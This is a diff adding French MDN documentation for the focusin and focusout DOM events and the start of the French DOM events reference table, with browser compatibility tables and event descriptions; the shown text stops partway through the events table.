+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cet événement n'est pas encore supporté par Firefox, voir {{Bug("687787")}}. Il est possible d'utiliser l'événement <a href="https://developer.mozilla.org/fr/docs/Mozilla_event_reference/focus_%28event%29"><code>focus</code></a> à la place, qui est aussi <a href="/en-US/docs/Mozilla_event_reference/focus_(event)#Event_delegation">compatible avec la délégation d'événements.</a></p>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{event("focus")}}</li>
+ <li>{{event("blur")}}</li>
+ <li>{{event("focusin")}}</li>
+ <li>{{event("focusout")}}</li>
+</ul>
diff --git a/files/fr/web/events/focusout/index.html b/files/fr/web/events/focusout/index.html
new file mode 100644
index 0000000000..01ddab4738
--- /dev/null
+++ b/files/fr/web/events/focusout/index.html
@@ -0,0 +1,123 @@
+---
+title: focusout
+slug: Web/Events/focusout
+translation_of: Web/API/Element/focusout_event
+---
+<p>L'évènement <code><strong>focusout</strong> </code>est déclenché lorsqu'un élément du DOM est sur le point de perdre le focus. La différence principale entre cet événement et <a href="/en-US/docs/Mozilla_event_reference/blur_(event)">blur</a> est que ce dernier ne se propage pas.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusout">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("FocusEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Element")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Event target losing focus.</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}} (DOM element)</td>
+   <td>Event target receiving focus.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cet évènement n'est pas encore supporté dans Firefox, voir {{Bug("687787")}}. Il est possible d'utiliser l'évènement <code>blur</code> à la place, qui est également compatible avec <a href="/en-US/docs/Mozilla_event_reference/blur_(event)#Event_delegation">event delegation</a>.</p>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{event("focus")}}</li>
+ <li>{{event("blur")}}</li>
+ <li>{{event("focusin")}}</li>
+ <li>{{event("focusout")}}</li>
+</ul>
diff --git a/files/fr/web/events/index.html b/files/fr/web/events/index.html
new file mode 100644
index 0000000000..639201c6ed
--- /dev/null
+++ b/files/fr/web/events/index.html
@@ -0,0 +1,1976 @@
+---
+title: Référence des événements
+slug: Web/Events
+tags:
+  - NeedsTranslation
+translation_of: Web/Events
+---
+<p><span class="seoSummary">Les événements DOM sont notifiés au code source lorsque quelque chose d'intéressant se passe. Chaque événement est représenté par un objet implémentant l'interface {{domxref("Event")}}, et peut avoir d'autres propriétés et/ou champs, permettant d'obtenir des informations supplémentaires au sujet de ce qui s'est produit.</span> Les événements peuvent décrire de simples interactions avec l'utilisateur jusqu'à des notifications automatisées d'événements se produisant au niveau du modèle de rendu.</p>
+
+<p>Cet article présente une liste d'événements pouvant être notifiés ; certains correspondent à des événements standards définis dans les spécifications officielles, tandis que d'autres sont des événements utilisés en interne par certains navigateurs ; par exemple, les événements propres à Mozilla sont listés pour que les <a href="/en-US/docs/Mozilla/Add-ons">add-ons</a> puissent interagir avec le navigateur.</p>
+
+<h2 id="Événements_standards">Événements standards</h2>
+
+<p>Ces événements sont définis dans les spécifications officielles du web, et devraient donc être communs à tous les navigateurs. À chaque événement est associée l'interface implémentée par l'objet envoyé aux destinataires de l'événement (afin de pouvoir connaître les données fournies avec chaque événement), ainsi qu'un lien vers la ou les spécification(s) définissant l'événement.</p>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">Nom de l'événement</th>
+   <th class="header" style="width: 90px;">Type de l'événement</th>
+   <th class="header" style="width: 100px;">Spécification</th>
+   <th class="header">Déclenché lorsque...</th>
+  </tr>
+  <tr>
+   <td>{{event("abort")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-abort">DOM L3</a></td>
+   <td>Le chargement d'une ressource a été interrompu.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code></td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a> et <a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-abort">XMLHttpRequest</a></td>
+   <td>La progression a été interrompue (pas dû à une erreur).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/abort_indexedDB">abort</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
+   <td>Une transaction a été interrompue.</td>
+  </tr>
+  <tr>
+   <td>{{event("afterprint")}}{{gecko_minversion_inline("6")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
+   <td>Le document associé a commencé à être imprimé ou l'aperçu avant impression a été fermé.</td>
+  </tr>
+  <tr>
+   <td>{{event("animationend")}}</td>
+   <td>{{domxref("AnimationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
+   <td>Une <a href="/fr/docs/Web/CSS/Animations_CSS">animation CSS</a> s'est achevée.</td>
+  </tr>
+  <tr>
+   <td>{{event("animationiteration")}}</td>
+   <td>{{domxref("AnimationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
+   <td>Une <a href="/fr/docs/Web/CSS/Animations_CSS">animation CSS</a> est répétée.</td>
+  </tr>
+  <tr>
+   <td>{{event("animationstart")}}</td>
+   <td>{{domxref("AnimationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
+   <td>Une <a href="/fr/docs/Web/CSS/Animations_CSS">animation CSS</a> a débuté.</td>
+  </tr>
+  <tr>
+   <td>{{event("audioprocess")}}</td>
+   <td>{{domxref("AudioProcessingEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Audio API', '#AudioProcessingEvent', 'audioprocess')}}</td>
+   <td>La mémoire tampon d'entrée d'un {{domxref("ScriptProcessorNode")}} est prête à être lue.</td>
+  </tr>
+  <tr>
+   <td>{{event("beforeprint")}} {{gecko_minversion_inline("6")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
+   <td>Le document associé est sur le point d'être imprimé ou visualisé dans l'aperçu avant impression.</td>
+  </tr>
+  <tr>
+   <td>{{event("beforeunload")}}</td>
+   <td>{{domxref("BeforeUnloadEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/browsers.html#unloading-documents">HTML5 </a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{event("beginEvent")}}</td>
+   <td>{{domxref("TimeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>Une animation <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> débute.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code></td>
+   <td></td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>Une connexion ouverte vers la base de données bloque une transaction <code>versionchange</code> (changement de version) sur la même base de données.</td>
+  </tr>
+  <tr>
+   <td>{{event("blur")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-blur">DOM L3</a></td>
+   <td>Un élément perd le focus (ne se propage pas).</td>
+  </tr>
+  <tr>
+   <td>{{event("cached")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>Les ressources listées dans le manifeste ont été téléchargées, et l'application est désormais mise en cache.</td>
+  </tr>
+  <tr>
+   <td>{{event("canplay")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplay">HTML5 media</a></td>
+   <td>Le <em>user agent</em> peut lire le média, mais estime que trop peu de données ont été chargées pour lire le média jusqu'au bout sans avoir à s'arrêter pour mettre en mémoire tampon la suite du contenu.</td>
+  </tr>
+  <tr>
+   <td>{{event("canplaythrough")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplaythrough">HTML5 media</a></td>
+   <td>Le <em>user agent</em> peut lire le média, et estime que suffisamment de données ont été chargées pour lire le média jusqu'au bout sans avoir à s'arrêter pour mettre en mémoire tampon la suite du contenu.</td>
+  </tr>
+  <tr>
+   <td>{{event("change")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#event-input-change">HTML5</a></td>
+   <td>Un élément perd le focus et sa valeur a changé depuis l'acquisition du focus.</td>
+  </tr>
+  <tr>
+   <td>{{event("chargingchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>La batterie commence ou finit de charger.</td>
+  </tr>
+  <tr>
+   <td>{{event("chargingtimechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>L'attribut <code>chargingTime</code> (temps de chargement) a été mis à jour.</td>
+  </tr>
+  <tr>
+   <td>{{event("checking")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>Le <em>user agent</em> vérifie l'existence d'une mise à jour, ou tente de télécharger le manifeste du cache pour la première fois.</td>
+  </tr>
+  <tr>
+   <td>{{event("click")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-click">DOM L3</a></td>
+   <td>Un bouton d'un dispositif de pointage a été appuyé ou relaché sur un élément.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/close_websocket">close</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>Une connexion WebSocket a été fermée.</td>
+  </tr>
+  <tr>
+   <td>{{event("compassneedscalibration")}}</td>
+   <td>{{domxref("SensorEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/orientation-event/#compassneedscalibration">Orientation</a></td>
+   <td>La boussole permettant d'obtenir les données d'orientation doit être calibrée.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/complete_indexedDB">complete</a></code></td>
+   <td></td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#transaction">IndexedDB</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{event("complete")}}</td>
+   <td>{{domxref("OfflineAudioCompletionEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}</td>
+   <td>Le rendu d'un {{domxref("OfflineAudioContext")}} est terminé.</td>
+  </tr>
+  <tr>
+   <td>{{event("compositionend")}}{{gecko_minversion_inline("9")}}</td>
+   <td>{{domxref("CompositionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionend">DOM L3</a></td>
+   <td>La composition d'un passage de texte a été achevée ou annulée.</td>
+  </tr>
+  <tr>
+   <td>{{event("compositionstart")}}{{gecko_minversion_inline("9")}}</td>
+   <td>{{domxref("CompositionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionstart">DOM L3</a></td>
+   <td>La composition d'un passage de texte est prête (équivalent à l'événement <code>keydown</code> pour un clavier, mais fonctionne avec d'autres entrées comme la reconnaissance vocale).</td>
+  </tr>
+  <tr>
+   <td>{{event("compositionupdate")}}{{gecko_minversion_inline("9")}}</td>
+   <td>{{domxref("CompositionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionupdate">DOM L3</a></td>
+   <td>Un caractère est ajouté à un passage de texte en cours de composition.</td>
+  </tr>
+  <tr>
+   <td>{{event("contextmenu")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/interactive-elements.html#context-menus">HTML5</a></td>
+   <td>Le bouton droit de la souris est cliqué (avant l'affichage du menu contextuel).</td>
+  </tr>
+  <tr>
+   <td>{{event("copy")}}</td>
+   <td>{{domxref("ClipboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#copy-event">Clipboard</a></td>
+   <td>La sélection de texte a été ajoutée au presse-papiers.</td>
+  </tr>
+  <tr>
+   <td>{{event("cut")}}</td>
+   <td>{{domxref("ClipboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#cut-event">Clipboard</a></td>
+   <td>La sélection de texte a été enlevée du document et ajoutée au presse-papiers.</td>
+  </tr>
+  <tr>
+   <td>{{event("dblclick")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-dblclick">DOM L3</a></td>
+   <td>Un bouton d'un dispositif de pointage a été double-cliqué sur un élément.</td>
+  </tr>
+  <tr>
+   <td>{{event("devicelight")}}</td>
+   <td>{{domxref("DeviceLightEvent")}}</td>
+   <td style="white-space: nowrap;"><a class="external" href="http://dvcs.w3.org/hg/dap/raw-file/tip/light/Overview.html" lang="en" title="The definition of 'Ambient Light Events' in that specification.">Ambient Light Events</a></td>
+   <td>Le capteur de lumière a de nouvelles données disponibles.</td>
+  </tr>
+  <tr>
+   <td>{{event("devicemotion")}}</td>
+   <td>{{domxref("DeviceMotionEvent")}}</td>
+   <td style="white-space: nowrap;"><a class="external" href="http://dev.w3.org/geo/api/spec-source-orientation.html" lang="en" title="The 'Device Orientation Events' specification">Device Orientation Events</a></td>
+   <td>Le capteur de mouvement a de nouvelles données disponibles.</td>
+  </tr>
+  <tr>
+   <td>{{event("deviceorientation")}}</td>
+   <td>{{domxref("DeviceOrientationEvent")}}</td>
+   <td style="white-space: nowrap;"><a class="external" href="http://dev.w3.org/geo/api/spec-source-orientation.html" lang="en" title="The 'Device Orientation Events' specification">Device Orientation Events</a></td>
+   <td>Le capteur d'orientation a de nouvelles données disponibles.</td>
+  </tr>
+  <tr>
+   <td>{{event("deviceproximity")}}</td>
+   <td>{{domxref("DeviceProximityEvent")}}</td>
+   <td style="white-space: nowrap;"><a class="external" href="http://dvcs.w3.org/hg/dap/raw-file/tip/proximity/Overview.html" lang="en" title="The definition of 'Proximity Events' in that specification.">Proximity Events</a></td>
+   <td>Le capteur de proximité a de nouvelles données disponibles (indique une distance approximative entre l'appareil et un object avoisinant).</td>
+  </tr>
+  <tr>
+   <td>{{event("dischargingtimechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>L'attribut <code>dischargingTime</code> (temps de décharge) a été mis à jour.</td>
+  </tr>
+  <tr>
+   <td><code>DOMActivate</code> {{deprecated_inline}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMActivate">DOM L3</a></td>
+   <td>Un bouton, un lien ou un élément à changement d'état est activé (utiliser plutôt {{event("click")}}).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttributeNameChanged</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationNameEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMAttributeNameChanged">DOM L3</a> Removed</td>
+   <td>Le nom d'un attribut a changé (utiliser plutôt les <a href="/en-US/docs/DOM/MutationObserver">observateurs de mutation</a>).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttrModified</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMAttrModified">DOM L3</a></td>
+   <td>La valeur d'un attribut a été modifiée (utiliser plutôt les <a href="/en-US/docs/DOM/MutationObserver">observateurs de mutation</a>).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMCharacterDataModified">DOM L3</a></td>
+   <td>Un texte - ou autres <a href="/en-US/docs/DOM/CharacterData">Données caractère</a> - a été changé (utiliser plutôt les <a href="/en-US/docs/DOM/MutationObserver">observateurs de mutation</a>).</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMContentLoaded")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-end.html#the-end">HTML5</a></td>
+   <td>Le document a fini de charger (mais pas les ressources qui en dépendent).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMElementNameChanged</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationNameEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMElementNameChanged">DOM L3</a> Removed</td>
+   <td>Le nom d'un élément a changé (utiliser plutôt les <a href="/en-US/docs/DOM/MutationObserver">observateurs de mutation</a>).</td>
+  </tr>
+  <tr>
+   <td><code>DOMFocusIn</code> {{deprecated_inline}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusIn">DOM L3</a></td>
+   <td>Un élément a acquis le focus (utiliser plutôt {{event("focus")}} ou {{event("focusin")}}).</td>
+  </tr>
+  <tr>
+   <td><code>DOMFocusOut</code> {{deprecated_inline}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusOut">DOM L3</a></td>
+   <td>Un élément a perdu le focus (utiliser plutôt {{event("blur")}} ou {{event("focusout")}}).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInserted</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInserted">DOM L3</a></td>
+   <td>Un nœud a été ajouté comme enfant d'un autre nœud (utiliser plutôt les <a href="/en-US/docs/DOM/MutationObserver" style="text-decoration: underline;">observateurs de mutation</a>).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInsertedIntoDocument">DOM L3</a></td>
+   <td>Un nœud a été ajouté au document (utiliser plutôt les <a href="/en-US/docs/DOM/MutationObserver" style="text-decoration: underline;">observateurs de mutation</a>).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemoved</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemoved">DOM L3</a></td>
+   <td>Un nœud a été retiré de son nœud parent (utiliser plutôt les <a href="/en-US/docs/DOM/MutationObserver" style="text-decoration: underline;">observateurs de mutation</a>).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemovedFromDocument">DOM L3</a></td>
+   <td>Un nœud a été retiré du document (utiliser plutôt les <a href="/en-US/docs/DOM/MutationObserver" style="text-decoration: underline;">observateurs de mutation</a>).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMSubtreeModified</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMSubtreeModified">DOM L3</a></td>
+   <td>Un changement a eu lieu dans le document (utiliser plutôt les <a href="/en-US/docs/DOM/MutationObserver" style="text-decoration: underline;">observateurs de mutation</a>).</td>
+  </tr>
+  <tr>
+   <td>{{event("downloading")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>Le <em>user agent</em> a trouvé une mise à jour et la récupère, ou il télécharge les ressources listées dans le manifeste du cache pour la première fois.</td>
+  </tr>
+  <tr>
+   <td>{{event("drag")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drag">HTML5</a></td>
+   <td>Un élément ou la sélection de texte est glissé (toutes les 350ms).</td>
+  </tr>
+  <tr>
+   <td>{{event("dragend")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragend">HTML5</a></td>
+   <td>Un glisser-déposer a été achevé (en relâchant le bouton de la souris ou en appuyant sur la touche Echap).</td>
+  </tr>
+  <tr>
+   <td>{{event("dragenter")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragenter">HTML5</a></td>
+   <td>Un élément ou une sélection de texte en cours de glisser-déposer entre dans une zone valide de dépôt.</td>
+  </tr>
+  <tr>
+   <td>{{event("dragleave")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragleave">HTML5</a></td>
+   <td>Un élément ou une sélection de texte en cours de glisser-déposer quitte une zone valide de dépôt.</td>
+  </tr>
+  <tr>
+   <td>{{event("dragover")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragover">HTML5</a></td>
+   <td>Un élément ou une sélection de texte en cours de glisser-déposer survole une zone valide de dépôt (toutes les 350ms).</td>
+  </tr>
+  <tr>
+   <td>{{event("dragstart")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragstart">HTML5</a></td>
+   <td>L'utilisateur commence à glisser un élément ou une sélection de texte.</td>
+  </tr>
+  <tr>
+   <td>{{event("drop")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drop">HTML5</a></td>
+   <td>Un élément est déposé sur une zone valide de dépôt.</td>
+  </tr>
+  <tr>
+   <td>{{event("durationchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-durationchange">HTML5 media</a></td>
+   <td>L'attribut <code>duration</code> (durée) a été mis à jour.</td>
+  </tr>
+  <tr>
+   <td>{{event("emptied")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-emptied">HTML5 media</a></td>
